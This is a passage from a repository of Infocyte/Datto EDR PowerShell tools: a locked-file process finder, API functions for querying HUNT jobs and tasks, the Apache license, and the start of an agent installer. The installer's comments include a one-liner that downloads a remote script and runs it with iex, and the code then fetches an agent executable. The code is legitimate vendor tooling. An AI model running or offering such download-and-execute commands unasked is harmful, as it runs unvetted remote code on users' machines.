'^[\W\s]*$') { Write-Warning "Skipping empty line"; continue } 140 | 141 | $matchResult = [RegEx]::Match($line, $pattern) 142 | # if matchResult has any value, build the custom object to return 143 | if ($matchResult.Value) { 144 | $wmi = Get-WmiObject Win32_Process -Filter "ProcessId = $($matchResult.groups["PID"].value)" 145 | $obj = [PSCustomObject][ordered]@{ 146 | #ProcessName = $matchResult.groups["Name"].value 147 | Name = $matchResult.groups["Name"].value.Substring(0, $matchResult.groups["Name"].value.LastIndexOf(".")) # truncating the extension 148 | PID = $matchResult.groups["PID"].value 149 | ProcessPath = $wmi.ExecutablePath # include the ExecutablePath of the process from WMI 150 | Commandline = $wmi.CommandLine # include the command line of the process from WMI 151 | Type = $matchResult.groups["Type"].value 152 | Owner = $matchResult.groups["User"].value 153 | Path = $matchResult.groups["Path"].value 154 | } 155 | # configure DefaultDisplayPropertySet for the custom object we made 156 | [string[]]$defaultProperties = "Name", "PID", "Owner", "Commandline" 157 | $defaultPropertySet = New-Object System.Management.Automation.PSPropertySet DefaultDisplayPropertySet, $defaultProperties 158 | $defaultMembers = [System.Management.Automation.PSMemberInfo[]]$defaultPropertySet 159 | Add-Member -InputObject $obj -MemberType MemberSet -Name PSStandardMembers -Value $defaultMembers 160 | # append the cusom object to the lockingProcs array 161 | $lockingProcs += $obj 162 | #Write-Verbose $($obj.pid) 163 | } 164 | } 165 | # if lockingProcs array size is zero, we didn't find anything 166 | if ($lockingProcs.Count -eq 0) { 167 | Write-Host -ForegroundColor Cyan "Get-LockingProcs : No matching handles found for [$path]" 168 | } else { 169 | #Write-Host "Get-LockingProcs : Found $($lockingProcs.count) processes with locks on [$path]" 170 | # remove duplicate entries 171 | $lockingProcs = ($lockingProcs | Sort-Object pid -unique) 172 | Write-Host -ForegroundColor Cyan "Get-LockingProcs : Found $($lockingProcs.count) unique processes with locks on [$path]" 173 | [array]$LockingProcs | select * | Out-String | Out-file .\$outputname -Append 174 | 175 | return [array]$lockingProcs | select * 176 | } 177 | } catch { 178 | if (!$PSitem.InvocationInfo.MyCommand) { 179 | $PSCmdlet.ThrowTerminatingError( 180 | [System.Management.Automation.ErrorRecord]::new( 181 | (New-Object "$($PSItem.Exception.GetType().FullName)" ( 182 | "$($PSCmdlet.MyInvocation.MyCommand.Name) : $($PSItem.Exception.Message)[0]`n`nStackTrace:`n$($PSItem.ScriptStackTrace)`n" 183 | )), 184 | $PSItem.FullyQualifiedErrorId, 185 | $PSItem.CategoryInfo.Category, 186 | $PSItem.TargetObject 187 | ) 188 | ) 189 | } else { $PSCmdlet.ThrowTerminatingError($PSitem) } 190 | } 191 | } 192 | END { 193 | Write-Host "Output file written to: [./$outputname]" 194 | } 195 | } # Get-LockingProcs -------------------------------------------------------------------------------- /HUNT Powershell Module/status.ps1: -------------------------------------------------------------------------------- 1 | 2 | # Status and Progress APIs 3 | 4 | # Get Infocyte HUNT Jobs (Active jobs or all jobs) 5 | function Get-ICJob { 6 | [cmdletbinding()] 7 | param( 8 | [parameter(ValueFromPipelineByPropertyName)] 9 | [ValidateScript({ if ($_ -match $GUID_REGEX) { $true } else { throw "Incorrect input: $_. Should be a guid."} })] 10 | [alias('jobId')] 11 | [String]$Id, 12 | 13 | [Switch]$All, 14 | 15 | [parameter(HelpMessage="This will convert a hashtable into a JSON-encoded Loopback Where-filter: https://loopback.io/doc/en/lb2/Where-filter ")] 16 | [HashTable]$where=@{}, 17 | 18 | [Switch]$NoLimit, 19 | [Switch]$CountOnly 20 | ) 21 | 22 | PROCESS { 23 | $endpoint = 'jobs' 24 | if ($Id) { 25 | $CountOnly = $false 26 | $endpoint += "/$Id" 27 | $where = $null 28 | $NoLimit = $false 29 | } else { 30 | if ($All) { 31 | Write-Verbose "Getting All Jobs." 32 | } else { 33 | Write-Verbose "Getting Active Jobs." 34 | if (-NOT $where['state']) { 35 | $where['state'] = "active" 36 | } 37 | } 38 | } 39 | Get-ICAPI -Endpoint $Endpoint -where $where -NoLimit:$NoLimit -CountOnly:$CountOnly 40 | } 41 | } 42 | 43 | # Get Infocyte HUNT User Audit Logs 44 | function Get-ICAuditLog { 45 | [cmdletbinding()] 46 | param( 47 | [parameter(ValueFromPipeline)] 48 | [ValidateScript({ if ($_ -match $GUID_REGEX) { $true } else { throw "Incorrect input: $_. Should be a guid."} })] 49 | [String]$Id, 50 | 51 | [parameter(HelpMessage="This will convert a hashtable into a JSON-encoded Loopback Where-filter: https://loopback.io/doc/en/lb2/Where-filter ")] 52 | [HashTable]$where=@{}, 53 | 54 | [Switch]$NoLimit, 55 | [Switch]$CountOnly 56 | ) 57 | BEGIN { 58 | $users = Get-ICAPI -endpoint users -nolimit 59 | } 60 | 61 | PROCESS { 62 | $endpoint = 'useractivities' 63 | if ($Id) { 64 | $CountOnly = $false 65 | $endpoint += "/$Id" 66 | } 67 | Write-Verbose "Getting User Activity Logs" 68 | if ($CountOnly) { 69 | Get-ICAPI -Endpoint $Endpoint -where $where -NoLimit:$NoLimit -CountOnly:$CountOnly 70 | } else { 71 | Get-ICAPI -Endpoint $Endpoint -where $where -NoLimit:$NoLimit -CountOnly:$CountOnly | foreach-object { 72 | $userid = $_.userId 73 | $user = $users | where { $_.id -eq $userid } 74 | $_ | Add-Member -Type NoteProperty -Name username -Value $user.username 75 | $_.query = $_.query | ConvertTo-Json -Depth 10 -Compress 76 | $_ 77 | } 78 | } 79 | } 80 | } 81 | 82 | # Get Infocyte HUNT User Tasks. These are the items in the task dropdown in the UI. 83 | function Get-ICTask { 84 | [cmdletbinding()] 85 | param( 86 | [parameter(ValueFromPipeline, ValueFromPipelineByPropertyName)] 87 | [ValidateScript({ if ($_ -match $GUID_REGEX) { $true } else { throw "Incorrect input: $_. Should be a guid."} })] 88 | [alias('id')] 89 | [alias('taskId')] 90 | [String]$userTaskId, 91 | 92 | [Switch]$All, 93 | 94 | [parameter(HelpMessage="This will convert a hashtable into a JSON-encoded Loopback Where-filter: https://loopback.io/doc/en/lb2/Where-filter ")] 95 | [HashTable]$where=@{}, 96 | 97 | [Switch]$NoLimit, 98 | [Switch]$CountOnly 99 | ) 100 | 101 | PROCESS { 102 | $endpoint = "usertasks" 103 | if ($userTaskId) { 104 | $CountOnly = $false 105 | $endpoint += "/$userTaskId" 106 | } else { 107 | if (-NOT $All -AND $where.keys.count -eq 0) { 108 | Write-Verbose "Filtering for running and recently ended tasks (Default)." 109 | $where = @{ and = @() } 110 | $where['and'] += @{ type = @{ neq = "RTS"} } 111 | $where['and'] += @{ or = @( 112 | @{ status = "Active" }, 113 | @{ endedOn = @{ gte = (Get-Date).ToUniversalTime().AddDays(-1).ToString() } } 114 | )} 115 | $where['and'] += @{ archived = $false } 116 | Write-Verbose "Using filter: $($Where | convertto-json)" 117 | } 118 | } 119 | $Tasks = Get-ICAPI -Endpoint $Endpoint -where $where -NoLimit:$NoLimit -CountOnly:$CountOnly 120 | $Tasks | ForEach-Object { 121 | $_ | Add-Member -Type NoteProperty -Name totalSeconds -Value $null 122 | if ($_.endedOn) { 123 | $_.totalSeconds = [math]::round(([datetime]$_.endedOn - [DateTime]$_.createdOn).TotalSeconds) 124 | } 125 | } 126 | Write-Output $Tasks 127 | } 128 | } 129 | 130 | function Get-ICTaskItems { 131 | [cmdletbinding()] 132 | param( 133 | [parameter( 134 | Mandatory, 135 | ValueFromPipeline, 136 | ValueFromPipelineByPropertyName)] 137 | [ValidateScript({ if ($_ -match $GUID_REGEX) { $true } else { throw "Incorrect input: $_. Should be a guid."} })] 138 | [alias('id')] 139 | [alias('TaskId')] 140 | [String]$userTaskId, 141 | 142 | [parameter()] 143 | [Switch]$IncludeProgress, 144 | 145 | [parameter(HelpMessage="This will convert a hashtable into a JSON-encoded Loopback Where-filter: https://loopback.io/doc/en/lb2/Where-filter ")] 146 | [HashTable]$Where=@{}, 147 | [String[]]$Fields, 148 | [Switch]$NoLimit, 149 | [Switch]$CountOnly 150 | ) 151 | 152 | PROCESS { 153 | $Endpoint = "userTaskItems" 154 | $where['userTaskId'] = $userTaskId 155 | 156 | if ($CountOnly) { 157 | return (Get-ICAPI -Endpoint $Endpoint -where $where -fields $fields -NoLimit:$NoLimit -CountOnly:$CountOnly) 158 | } 159 | 160 | Write-Verbose "Getting All TaskItems with TaskId $userTaskId." 161 | $Items = Get-ICAPI -Endpoint $Endpoint -where $where -fields $fields -NoLimit:$NoLimit -CountOnly:$CountOnly 162 | ForEach ($item in $items) { 163 | $item | Add-Member -Type NoteProperty -Name totalSeconds -Value $null 164 | if ($item.endedOn) { 165 | $item.totalSeconds = [math]::round(([datetime]$item.endedOn - [DateTime]$item.createdOn).TotalSeconds) 166 | } 167 | 168 | if ($item.type -eq "host-access" -OR $item.type -eq "enumeration") { 169 | $type = $item.type 170 | $item | Add-Member -Type NoteProperty -Name queryId -Value $null 171 | $item | Add-Member -Type NoteProperty -Name queryName -Value $null 172 | 173 | if ($type -eq "enumeration") { 174 | $item.queryId = $item.result.queryId 175 | } 176 | elseif ($type -eq "host-access") { 177 | Write-Verbose "Getting QueryId from job" 178 | try { $j = Get-ICJob -Id $item.jobId } catch { } 179 | $item.queryId = $j.data.queryId 180 | } 181 | 182 | if ($item.queryId) { 183 | Write-Verbose "Getting QueryName" 184 | $q = Get-ICQuery -Id $item.queryId 185 | $item.queryName = $q.Name 186 | } 187 | } 188 | } 189 | 190 | if (-NOT $IncludeProgress) { 191 | 192 | Write-Output $Items 193 | 194 | } else { 195 | $n = 0 196 | if ($Id) { 197 | $cnt = 1 198 | } else { 199 | $cnt = Get-ICAPI -Endpoint $Endpoint -where $where -CountOnly 200 | } 201 | Write-Verbose "Found $cnt TaskItems. Getting progress for each." 202 | ForEach ($item in $items) { 203 | $item | Add-Member -Type NoteProperty -Name lastMessage -Value $null 204 | if ($item.type -eq "host-access") { 205 | $item | Add-Member -Type NoteProperty -Name accessible -Value $null 206 | } 207 | 208 | $n += 1 209 | try { $pc = [math]::floor($n*100/$cnt); if ($pc -gt 100) { $pc = 100 } } catch { $pc = -1 } 210 | if ($item.id) { 211 | Write-Progress -Id 101 -Activity "Enriching with Task Progress Information" -status "Getting progress on $($item.name) [$n of $cnt]" -PercentComplete $pc 212 | $progresstext = @() 213 | _Get-ICTaskItemProgress -taskItemId $item.id | ForEach-Object { 214 | $p = $_ 215 | $p | foreach-object { 216 | $progresstext += "$($_.createdOn) - $($_.text)" 217 | if (-NOT $LastProgressMsg) { 218 | $LastProgressMsg = "$($_.createdOn) - $($_.text)" 219 | } 220 | if ($type -eq "host-access" -AND $_.text -match "^ACCESSIBLE:") { 221 | $item.accessible = $true 222 | $item.lastMessage = $_.text 223 | } 224 | elseif ($type -eq "host-access" -AND $_.text -match "^INACCESSIBLE:") { 225 | $item.accessible = $false 226 | $item.lastMessage = $_.text 227 | } 228 | } 229 | } 230 | if ($item.status -ne "complete" -AND -NOT $item.message) { 231 | $item.lastMessage = $LastProgressMsg 232 | } 233 | $item | Add-Member -MemberType "NoteProperty" -name "progress" -value ([string[]]$progresstext) 234 | } 235 | } 236 | Write-Output $items 237 | } 238 | } 239 | } 240 | 241 | function _Get-ICTaskItemProgress { 242 | [cmdletbinding()] 243 | param( 244 | [parameter( 245 | Mandatory=$true, 246 | ValueFromPipeline, 247 | ValueFromPipelineByPropertyName)] 248 | [ValidateScript({ if ($_ -match $GUID_REGEX) { $true } else { throw "Incorrect input: $_. Should be a guid."} })] 249 | [alias('userTaskItemId')] 250 | [alias('id')] 251 | [String]$taskItemId, 252 | 253 | [parameter(HelpMessage="This will convert a hashtable into a JSON-encoded Loopback Where-filter: https://loopback.io/doc/en/lb2/Where-filter ")] 254 | [HashTable]$where=@{}, 255 | 256 | [Switch]$NoLimit 257 | ) 258 | 259 | PROCESS { 260 | $Endpoint = "userTaskItemProgresses" 261 | if ($_.id -AND $_.taskItemId) { 262 | # disambuguation 263 | $where['taskItemId'] = $_.taskItemId 264 | } else { 265 | $where['taskItemId'] = $taskItemId 266 | } 267 | Get-ICAPI -Endpoint $Endpoint -where $where -fields @("createdOn", "text") -NoLimit:$NoLimit | Sort-Object createdOn -Descending 268 | } 269 | } 270 | 271 | function Wait-ICTask { 272 | [cmdletbinding()] 273 | param( 274 | [parameter( 275 | Mandatory, 276 | ValueFromPipeline, 277 | ValueFromPipelineByPropertyName)] 278 | [ValidateScript( { if ($_ -match $GUID_REGEX) { $true } else { throw "Incorrect input: $_. Should be a guid." } })] 279 | [alias('id')] 280 | [alias('userTaskId')] 281 | [String]$TaskId 282 | ) 283 | 284 | BEGIN {} 285 | PROCESS { 286 | $Task = Get-ICTaskItems -userTaskId $TaskId -IncludeProgress 287 | while (-NOT $Task.complete) { 288 | Start-Sleep 20 289 | $Task = Get-ICTaskItems -userTaskId $TaskId -IncludeProgress 290 | } 291 | return $true 292 | } 293 | END{} 294 | } 295 | 296 | function Get-ICLastScanTask { 297 | [cmdletbinding()] 298 | param( 299 | [parameter(Mandatory, Position=0)] 300 | [ValidateSet("Scan", "Enumerate")] 301 | [String]$Type, 302 | 303 | [parameter(Position=1)] 304 | [ValidateScript({ if ($_ -match $GUID_REGEX) { $true } else { throw "Incorrect input: $_. Should be a guid."} })] 305 | [String]$targetGroupId 306 | ) 307 | 308 | if ($targetGroupId) { 309 | $Task = Get-ICTask -where @{ targetGroupId = $targetGroupId; type = $Type } | Select-Object -Last 1 310 | if (-NOT $Task) { 311 | Write-Error "No $Type task was found within target group with Id: $targetGroupId" 312 | return 313 | } 314 | } 315 | else { 316 | $where = @{ and = @()} 317 | #$where['and'] += @{ endedOn = @{ gte = (Get-Date).ToUniversalTime().AddDays(-1).ToString() } } 318 | $where['and'] += @{ type = $Type; } 319 | $where['and'] += @{ archived = $false } 320 | $Task = Get-ICTask -where $where | Select-Object -Last 1 321 | if (-NOT $Task) { 322 | Write-Error "No task was found with type: $Type" 323 | return 324 | } 325 | } 326 | 327 | $Progress = Get-ICTaskItems -userTaskId $Task.id -IncludeProgress -NoLimit 328 | 329 | $result = @{ 330 | userTaskId = $Task.Id 331 | name = $Task.name 332 | createdOn = $Task.createdOn 333 | endedOn = $Task.endedOn 334 | totalSeconds = $task.totalSeconds 335 | status = $Task.status 336 | type = $Task.type 337 | accessibleCount = ([Array]($Progress | Where-Object { $_.Accessible })).count 338 | inaccessibleCount = ([Array]($Progress | Where-Object { -NOT $_.Accessible })).count 339 | totalItems = ([Array]$Progress).count 340 | items = $Progress 341 | } 342 | $result['coverage'] = try { [math]::Round(($($result.accessibleCount)/$($result.totalItems)), 2) } catch { $null } 343 | return [PSCustomObject]$result 344 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright {yyyy} {name of copyright owner} 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /AgentDeployment/install_huntagent.ps1: -------------------------------------------------------------------------------- 1 | New-Module -name install_dattoedr -scriptblock { 2 | # Datto EDR scripted installation option. If unfamiliar with this script, contact your IT or Security team. 3 | # www.datto.com 4 | 5 | # WARNING: Single line scripted installers like this use similiar techniques to modern staged malware. 6 | # As a result, this script will likely trigger behavioral detection products and may need to be whitelisted by your current security software. 7 | 8 | # To execute this script as a one liner on a windows host with powershell 3.0+ (.NET 4.5+), run this command replacing instancename and key with your hunt instance and registration key [optional]. NOTE: Instancename is the cname from the URL, not the FULL url https://instancename.infocyte.com). This script will append the url for you during install. 9 | # [System.Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072); (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Infocyte/PowershellTools/master/AgentDeployment/install_huntagent.ps1") | iex; Install-EDR -InstanceName -RegKey [regkey] -Region [ap|eu] 10 | 11 | # Example: 12 | # [System.Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072); (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Infocyte/PowershellTools/master/AgentDeployment/install_huntagent.ps1") | iex; Install-EDR -InstanceName allsafemsp -RegKey asdf1234 -Region ap 13 | 14 | # Logs are stored here: "C:\Windows\Temp\agentinstallscript.log" 15 | 16 | Function Install-EDR() { 17 | <# 18 | .SYNOPSIS 19 | Installs the Infocyte agent 20 | 21 | .DESCRIPTION 22 | Installs the Infocyte agent 23 | 24 | .ALIASES 25 | installagent 26 | 27 | .LINK 28 | https://github.com/Infocyte/PowershellTools/master/AgentDeployment 29 | 30 | #> 31 | param( 32 | [Parameter(Mandatory=$true, Position = 0, HelpMessage="The API URL or cname from the URL: https://.infocyte.com or https://..infocyte.com)")] 33 | [Alias("InstanceName")] 34 | [String]$URL, 35 | 36 | [Parameter(Position = 1, HelpMessage="This will automatically approve the agent registration and add it to its' default Target Group.")] 37 | [String]$RegKey, 38 | 39 | [Parameter(HelpMessage="Will register a name for the system. Otherwise will use the hostname.")] 40 | [String]$FriendlyName, 41 | 42 | [Parameter(HelpMessage='Authenticated: "user:password@192.168.1.1:8080" or Unauthenticated: "192.168.1.1:8080"')] 43 | [String]$Proxy, # "user:password@192.168.1.1:8080" or "192.168.1.1:8080" 44 | 45 | [Parameter(HelpMessage="The temporary location where agent setup will be downloaded to and ran from.")] 46 | [String]$DownloadPath = "$($env:TEMP)\agent.windows.exe", 47 | 48 | [Parameter(HelpMessage="Silent install is default. Use this switch to display output.")] 49 | [Switch]$Interactive, 50 | 51 | [Parameter(HelpMessage="Will force a reinstall if agent already installed.")] 52 | [Switch]$Force 53 | ) 54 | 55 | $LogPath = "$env:Temp\agentinstallscript.log" 56 | if ([System.IntPtr]::Size -eq 4) { 57 | $agentURL = "https://s3.us-east-2.amazonaws.com/infocyte-support/executables/agent.windows32.exe" 58 | } else { 59 | $agentURL = "https://s3.us-east-2.amazonaws.com/infocyte-support/executables/agent.windows64.exe" 60 | } 61 | 62 | 63 | If (-NOT $URL) { 64 | Write-Warning "[Error] Please provide Datto EDR URL or instance name (i.e. mycompany in mycompany.infocyte.com) or a full URL to your EDR instance." 65 | "$(Get-Date) [Error] Installation Error: No InstanceName or URL provided in arguments!" >> $LogPath 66 | return 67 | } 68 | 69 | If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { 70 | Write-Warning "[Error] You do not have Administrator rights to run this script!`nPlease re-run as an Administrator!" 71 | "$(Get-Date) [Error] Installation Error: Script not run as administrator!" >> $LogPath 72 | return 73 | } 74 | 75 | if ($URL -match "https://.*?\.infocyte\.com/?") { 76 | $hunturl = $URL.TrimEnd('/') 77 | } elseif ($URL -match "\.infocyte\.com/?") { 78 | $hunturl = "https://$($URL.TrimEnd('/'))" 79 | } elseif ($URL -notmatch "([:\\/-]|.com)") { 80 | $hunturl = "https://$URL.infocyte.com" 81 | } else { 82 | if ($Interactive) { Write-Error "Could not parse instance name or url correctly: $hunturl" } 83 | "$(Get-Date) [Error] Could not parse instance name or url correctly: $URL" >> $LogPath 84 | } 85 | 86 | if ([Uri]::IsWellFormedUriString($hunturl, [URIKind]::RelativeOrAbsolute)) { 87 | if ($Interactive) { Write-Host "Installing with URL: $hunturl" } 88 | "$(Get-Date) [Information] Installing with URL: $hunturl" >> $LogPath 89 | } else { 90 | if ($Interactive) { Write-error "URL is invalid: $hunturl" } 91 | "$(Get-Date) [Error] URL is invalid: $hunturl" >> $LogPath 92 | } 93 | 94 | 95 | If (Get-Service -name huntAgent -ErrorAction SilentlyContinue) { 96 | if (-NOT $Force) { 97 | if ($Interactive) { Write-Error "Datto EDR already installed" } 98 | "$(Get-Date) [Information] Datto EDR is already installed and HUNTAgent service running. Skipping." >> $LogPath 99 | return 100 | } 101 | } 102 | 103 | # Downloading Agent 104 | [Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072) 105 | $wc = New-Object Net.WebClient 106 | $wc.Encoding = [System.Text.Encoding]::UTF8 107 | 108 | $proxyAddr = (get-itemproperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer 109 | if ($Proxy) { 110 | $ProxyObj = new-object System.Net.WebProxy 111 | if ($proxy.split("@").count -gt 1) { 112 | $proxyaddr = $proxy.split("@")[1] 113 | $user = $proxy.split("@")[0].split(':')[0] 114 | $pass = $proxy.split("@")[0].split(':')[1] 115 | $Credentials = New-Object Net.NetworkCredential($user,$pass,"") 116 | $ProxyObj.Address = $proxyaddr 117 | $ProxyObj.Credentials = $Credentials 118 | } else { 119 | $ProxyObj.Address = $proxy 120 | } 121 | $wc.Proxy = $ProxyObj 122 | } elseif ($proxyAddr) { 123 | $ProxyObj = new-object System.Net.WebProxy 124 | $ProxyObj.Address = $proxyAddr 125 | $ProxyObj.useDefaultCredentials = $true 126 | $wc.Proxy = $ProxyObj 127 | } 128 | else { 129 | $wc.UseDefaultCredentials = $true 130 | } 131 | 132 | # $wc.CachePolicy = New-Object System.Net.Cache.HttpRequestCachePolicy([System.Net.Cache.HttpRequestCacheLevel]::NoCacheNoStore) # For Testing: 133 | try { 134 | $wc.DownloadFile($agentURL, $DownloadPath) 135 | } catch { 136 | if ($Interactive) { Write-Warning "Could not download Datto EDR agent from $agentURL" } 137 | "$(Get-Date) [Error] Installation Error: Install started but could not download agent from $agentURL." >> $LogPath 138 | } 139 | 140 | # Verify Sha1 of file 141 | try { 142 | $SHA1CryptoProvider = new-object -TypeName system.security.cryptography.SHA1CryptoServiceProvider 143 | $inputBytes = [System.IO.File]::ReadAllBytes($DownloadPath); 144 | $Hash = [System.BitConverter]::ToString($SHA1CryptoProvider.ComputeHash($inputBytes)) 145 | $sha1 = $Hash.Replace('-','').ToUpper() 146 | } catch { 147 | if ($Interactive) { Write-Warning "Hash Error. $_" } 148 | $sha1 = "Hashing Error" 149 | "$(Get-Date) [Warning] Installation Warning: Could not hash agent.survey.exe." >> $LogPath 150 | } 151 | 152 | # Setup exe arguments 153 | 